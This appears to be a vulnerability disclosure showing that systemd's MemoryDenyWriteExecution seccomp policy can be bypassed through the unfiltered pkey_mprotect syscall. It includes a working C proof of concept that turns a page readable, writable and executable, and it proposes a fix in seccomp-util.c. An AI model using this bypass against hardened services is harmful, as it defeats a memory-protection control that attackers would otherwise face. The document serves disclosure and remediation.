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Bypassing MemoryDenyWriteExecution policy 

A service constrained by MemoryDenyWriteExecution policy can be abused to create RWX 
(Readable, Writable and eXecutable) memory areas. 

From Linux 4.9, pkey API was added to support Intel “Memory protection keys” feature (in 
Skylake+ CPU), allowing a program to deny certain types of access to memory pages. 

Among the five syscalls added, pkey_mprotect is responsible of assigning protection key to 
pages, it is a variant of the mprotect system call.  

int pkey_mprotect(void *addr, size_t len, int prot, int pkey) 

The new pkey_mprotect system call applies the protection bits (prot) to the page. This 
syscall isn’t filtered by MemoryDenyWriteExecution and on system without hardware 
support of protection keys, pkey_mprotect is equivalent to mprotect (using 0 as pkey). 

With or without hardware support, setting pkey as -1, the pkey_mprotect will fall back on 
mprotect. 

We can use pkey_mprotect to bypass MemoryDenyWriteExecution : 

#include <stdint.h> 
#include <stdio.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <errno.h> 
#include <sys/mman.h> 
#include <sys/stat.h> 
#include <sys/syscall.h> 
int pkey_mprotect(void *addr, size_t len, int prot, unsigned long pkey) { 
 return syscall(SYS_pkey_mprotect, addr, len, prot, pkey); 
} 
 
int main() { 
 void * rwx = mmap(0, 0x1000, PROT_READ | PROT_WRITE, \  

                   MAP_PRIVATE | MAP_ANON, 0, 0); 
pkey_mprotect(rwx, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, -1); 
printf("PID : %d\n", getpid()); 
printf("RWX : %llx\n", rwx); 
sleep(60); 
return 0; 

} 

The results are available in the next page (test with mprotect and with pkey_mprotect). 

 

In order to fix this bypass, pkey_mprotect should be added to the seccomp filtered system 
call like mprotect (block if PROT_EXEC is specified) in seccomp_memory_deny_write_execute 
function in src/shared/seccomp-util.c. 
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Using mprotect, the call fails and the allocated page is mapped as RW : 

 

Using pkey_mprotect, the call succeeds and the mitigation is bypassed (RWX page) : 

 


